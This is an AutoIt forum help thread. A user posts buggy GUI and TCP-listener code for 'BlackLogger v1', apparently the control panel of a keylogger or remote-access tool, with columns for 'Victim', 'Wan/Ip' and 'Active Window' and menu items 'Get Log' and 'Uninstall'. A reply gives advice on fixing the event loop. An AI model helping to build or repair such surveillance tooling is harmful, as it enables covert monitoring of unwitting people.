Sign in to follow this  
Followers 0
BlackID

[Help] $GUI_EVENT_CLOSE and buttons problem

4 posts in this topic

Hello Everybody

i have serious problem i am creating remote controlling programe

and i have this problem on $GUI_EVENT_CLOSE and other buttons (menu)

This my Gui

#include <GUIConstantsEx.au3>
#include <ListViewConstants.au3>
#include <TabConstants.au3>
#include <WindowsConstants.au3>
#Include <GuiListView.au3>
Opt('MustDeclareVars', 1)

FileInstall("connect.ico", @TempDir & "\connect.ico", 1)
FileInstall("info.ico", @TempDir & "\info.ico", 1)
FileInstall("start.wav", @TempDir & "\start.wav", 1)


Example()

Func Example()
    ; Set Some reusable info
    ; Set your Public IP address (@IPAddress1) here.
;   Local $szServerPC = @ComputerName
;   Local $szIPADDRESS = TCPNameToIP($szServerPC)
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 33891
    Local $MainSocket, $Gui, $Tab1, $Conn, $Info, $it, $it2, $List, $ListItem, $ConnectedSocket, $IEXLISTVIEWSTYLE 
    Local $msg, $recv, $szIP_Accepted 
    Local $Menu1, $Menu1Item1, $Menu1Item2
    Local $Menu2, $Menu2Item2, $Menu2Item3, $Menu2Item4



    ; Start The TCP Services
    ;==============================================
    TCPStartup()

    $MainSocket = TCPListen($szIPADDRESS, $nPORT)

    ; If the Socket creation fails, exit.
    If $MainSocket = -1 Then Exit


    ; Create a GUI 
    ;==============================================
$Gui = GUICreate("BlackLogger v1", 599,251, 65, 121, BitOR($GUI_SS_DEFAULT_GUI,$WS_SIZEBOX,$WS_THICKFRAME))
TrayTip("Black Logger","Welcome To Black Logger Please Don't"& _
            @CRLF &" Forget To  Forwad The Port 33891 ",1,1)
SoundPlay(@TempDir & "\start.wav")
$Menu1 = GUICtrlCreateMenu("&File")
$Menu1Item1 = GUICtrlCreateMenuItem("Uninstall", $Menu1)
$Menu1Item2 = GUICtrlCreateMenuItem("Get Log", $Menu1)
$Menu2 = GUICtrlCreateMenu("&About")
$Menu2Item2 = GUICtrlCreateMenuItem("Visit Our Site", $Menu2)
$Menu2Item3 = GUICtrlCreateMenuItem("Credit", $Menu2)
$Menu2Item4 = GUICtrlCreateMenuItem("Pr!v8 Version", $Menu2)
$Tab1 = GUICtrlCreateTab(1, 0, 769, 225)
$Conn = GUICtrlCreateTabItem("Connexion")
GUICtrlCreateTabItem("")
GUICtrlSetImage(-1, @TempDir & "\connect.ico")
$IEXLISTVIEWSTYLE = BitOR($WS_EX_CLIENTEDGE, $LVS_EX_GRIDLINES, $LVS_EX_FULLROWSELECT)
$List = GUICtrlCreateListView("Victim | Pc Name | Wan/Ip | O.S System | Active Window", 1, 21, 599, 202)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 75)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 100)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 2, 135)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 3, 150)
GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 4, 135)
_GUICTRLLISTVIEW_SETEXTENDEDLISTVIEWSTYLE($List, $IEXLISTVIEWSTYLE)
_GUICTRLLISTVIEW_REGISTERSORTCALLBACK($List)
$ListItem = GUICtrlCreateListViewItem(" | | |  | ",$List)
$Info = GUICtrlCreateTabItem("About")
GUICtrlCreateTabItem("")
GUICtrlSetImage(-1, @TempDir & "\info.ico")
GUICtrlSetState(-1, $GUI_HIDE)
$it2 = GUICtrlCreateTabItem("")
GUICtrlSetState(-1, $GUI_HIDE)
GUISetState(@SW_SHOW)

    


    ; Initialize a variable to represent a connection
    ;==============================================
    $ConnectedSocket = -1


    ;Wait for and Accept a connection
    ;==============================================
    Do
        $ConnectedSocket = TCPAccept($MainSocket)
    Until $ConnectedSocket <> -1


    ; Get IP of client connecting
    $szIP_Accepted = SocketToIP($ConnectedSocket)

    ; GUI Message Loop
    ;==============================================

While 1
    $msg = GUIGetMsg()
    Switch $msg
        Case $GUI_EVENT_CLOSE
            Exit
            Case $Menu2Item2 
            ShellExecute("http://site.com")

            
    EndSwitch
WEnd

    While 2
        Switch
      Case $recv = TCPRecv($ConnectedSocket, 2048)
    
        If $recv <> "" Then GUICtrlSetData($ListItem , _
                $szIP_Accepted & $recv)
    EndSwitch
    WEnd


    If $ConnectedSocket <> -1 Then TCPCloseSocket($ConnectedSocket)

    TCPShutdown()
EndFunc   

Func SocketToIP($SHOCKET)
    Local $sockaddr, $aRet

    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

    $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
            "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aRet[0] = 0 Then
        $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aRet = $aRet[0]
    Else
        $aRet = 0
    EndIf

    $sockaddr = 0

    Return $aRet
EndFunc

ineed help

Share this post


Link to post
Share on other sites



Combine your 2 While loops into 1 by deleting the second Switch command, the While and the Wend for one thing. Second, you pause the script until it gets a connection and won't leave the Do loop until that happens, so none of your menu items or buttons work until you're connected.


If I posted any code, assume that code was written using the latest release version unless stated otherwise. Also, if it doesn't work on XP I can't help with that because I don't have access to XP, and I'm not going to.
Give a programmer the correct code and he can do his work for a day. Teach a programmer to debug and he can do his work for a lifetime - by Chirag Gude
How to ask questions the smart way!

I hereby grant any person the right to use any code I post, that I am the original author of, on the autoitscript.com forums, unless I've specifically stated otherwise in the code or the thread post. If you do use my code all I ask, as a courtesy, is to make note of where you got it from.

Back up and restore Windows user files _Array.au3 - Modified array functions that include support for 2D arrays.  -  ColorChooser - An add-on for SciTE that pops up a color dialog so you can select and paste a color code into a script.  -  Customizable Splashscreen GUI w/Progress Bar - Create a custom "splash screen" GUI with a progress bar and custom label.  -  _FileGetProperty - Retrieve the properties of a file  -  SciTE Toolbar - A toolbar demo for use with the SciTE editor  -  GUIRegisterMsg demo - Demo script to show how to use the Windows messages to interact with controls and your GUI.  -   Latin Square password generator

Share this post


Link to post
Share on other sites

Can You Correct My Scirpt

Share this post


Link to post
Share on other sites

Thanks alot BrewManNH

You are The best :huh2:

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0